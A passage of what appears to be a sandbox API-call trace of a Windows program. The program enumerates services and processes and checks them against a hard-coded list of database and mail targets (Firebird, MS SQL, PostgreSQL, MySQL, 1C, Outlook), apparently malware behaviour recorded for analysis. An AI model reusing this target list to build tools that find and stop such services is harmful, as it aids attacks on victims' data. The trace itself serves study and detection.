(lpString="nsi") returned 3 [0159.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0159.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0159.454] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0159.454] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0159.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0159.454] lstrlenW (lpString="PcaSvc") returned 6 [0159.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0159.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0159.454] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0159.454] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0159.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0159.454] lstrlenW (lpString="PlugPlay") returned 8 [0159.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0159.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0159.454] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0159.454] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0159.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0159.455] lstrlenW (lpString="Power") returned 5 [0159.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0159.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0159.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0159.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0159.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0159.455] lstrlenW (lpString="ProfSvc") returned 7 [0159.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0159.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0159.455] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0159.455] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0159.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0159.455] lstrlenW (lpString="RpcEptMapper") returned 12 [0159.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.455] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0159.455] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0159.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0159.455] lstrlenW (lpString="RpcSs") returned 5 [0159.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0159.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0159.455] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0159.455] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0159.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0159.455] lstrlenW (lpString="SamSs") returned 5 [0159.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0159.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0159.455] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0159.455] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0159.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0159.455] lstrlenW (lpString="Schedule") returned 8 [0159.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0159.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0159.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0159.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0159.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0159.456] lstrlenW (lpString="SENS") returned 4 [0159.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0159.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0159.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0159.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0159.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0159.456] lstrlenW (lpString="ShellHWDetection") returned 16 [0159.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0159.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0159.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0159.456] lstrlenW (lpString="Spooler") returned 7 [0159.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0159.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0159.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0159.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0159.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0159.456] lstrlenW (lpString="SysMain") returned 7 [0159.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0159.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0159.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0159.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0159.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0159.456] lstrlenW (lpString="Themes") returned 6 [0159.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0159.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0159.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0159.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0159.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0159.457] lstrlenW (lpString="TrkWks") returned 6 [0159.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0159.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0159.457] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0159.457] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0159.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0159.457] lstrlenW (lpString="UxSms") returned 5 [0159.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0159.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0159.457] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0159.457] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0159.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0159.457] lstrlenW (lpString="WdiServiceHost") returned 14 [0159.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0159.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0159.457] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0159.457] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0159.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0159.457] lstrlenW (lpString="WdiSystemHost") returned 13 [0159.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0159.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0159.457] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0159.457] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0159.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0159.457] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0159.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0159.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0159.457] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0159.458] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0159.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0159.458] lstrlenW (lpString="Winmgmt") returned 7 [0159.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0159.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0159.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0159.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0159.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0159.458] lstrlenW (lpString="WPDBusEnum") returned 10 [0159.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0159.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0159.458] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0159.458] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0159.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0159.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0159.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0159.462] Process32FirstW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.463] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0159.463] lstrlenW (lpString="System") returned 6 [0159.463] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0159.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0159.463] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0159.463] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0159.463] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0159.463] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0159.463] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0159.463] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0159.464] lstrlenW (lpString="smss.exe") returned 8 [0159.464] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0159.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0159.464] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0159.464] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0159.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0159.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0159.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0159.464] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.464] lstrlenW (lpString="csrss.exe") returned 9 [0159.464] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0159.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0159.464] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0159.464] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0159.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0159.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0159.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0159.464] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0159.465] lstrlenW (lpString="wininit.exe") returned 11 [0159.465] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0159.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0159.465] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0159.465] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0159.465] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0159.465] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0159.465] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0159.465] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.465] lstrlenW (lpString="csrss.exe") returned 9 [0159.465] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0159.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0159.465] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0159.465] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0159.465] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0159.465] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0159.465] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0159.466] lstrlenW (lpString="winlogon.exe") returned 12 [0159.466] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0159.466] lstrlenW (lpString="services.exe") returned 12 [0159.466] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0159.466] lstrlenW (lpString="lsass.exe") returned 9 [0159.466] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0159.467] lstrlenW (lpString="lsm.exe") returned 7 [0159.467] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.467] lstrlenW (lpString="svchost.exe") returned 11 [0159.467] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.467] lstrlenW (lpString="svchost.exe") returned 11 [0159.467] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.468] lstrlenW (lpString="svchost.exe") returned 11 [0159.468] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.468] lstrlenW (lpString="svchost.exe") returned 11 [0159.468] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.468] lstrlenW (lpString="svchost.exe") returned 11 [0159.468] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0159.469] lstrlenW (lpString="audiodg.exe") returned 11 [0159.469] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.469] lstrlenW (lpString="svchost.exe") returned 11 [0159.469] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.469] lstrlenW (lpString="svchost.exe") returned 11 [0159.469] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0159.470] lstrlenW (lpString="spoolsv.exe") returned 11 [0159.470] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0159.470] lstrlenW (lpString="taskhost.exe") returned 12 [0159.470] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.470] lstrlenW (lpString="svchost.exe") returned 11 [0159.470] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0159.471] lstrlenW (lpString="userinit.exe") returned 12 [0159.471] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0159.471] lstrlenW (lpString="dwm.exe") returned 7 [0159.471] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0159.471] lstrlenW (lpString="explorer.exe") returned 12 [0159.472] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0159.472] lstrlenW (lpString="3G6885.exe") returned 10 [0159.472] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0159.472] lstrlenW (lpString="reader_sl.exe") returned 13 [0159.472] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0159.472] lstrlenW (lpString="drvinst.exe") returned 11 [0159.472] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0159.473] lstrlenW (lpString="taskhost.exe") returned 12 [0159.473] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0159.473] lstrlenW (lpString="consent.exe") returned 11 [0159.473] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0159.474] lstrlenW (lpString="dllhost.exe") returned 11 [0159.474] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0159.474] CloseHandle (hObject=0x210) returned 1 [0159.474] Sleep (dwMilliseconds=0x1f4) [0160.378] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8978 [0160.378] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0160.378] GetLastError () returned 0xea [0160.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0160.379] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0160.379] CloseServiceHandle (hSCObject=0x41d8978) returned 1 [0160.380] lstrlenW (lpString="Appinfo") returned 7 [0160.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0160.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0160.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0160.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0160.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0160.380] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.380] lstrlenW (lpString="AudioSrv") returned 8 [0160.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0160.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0160.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 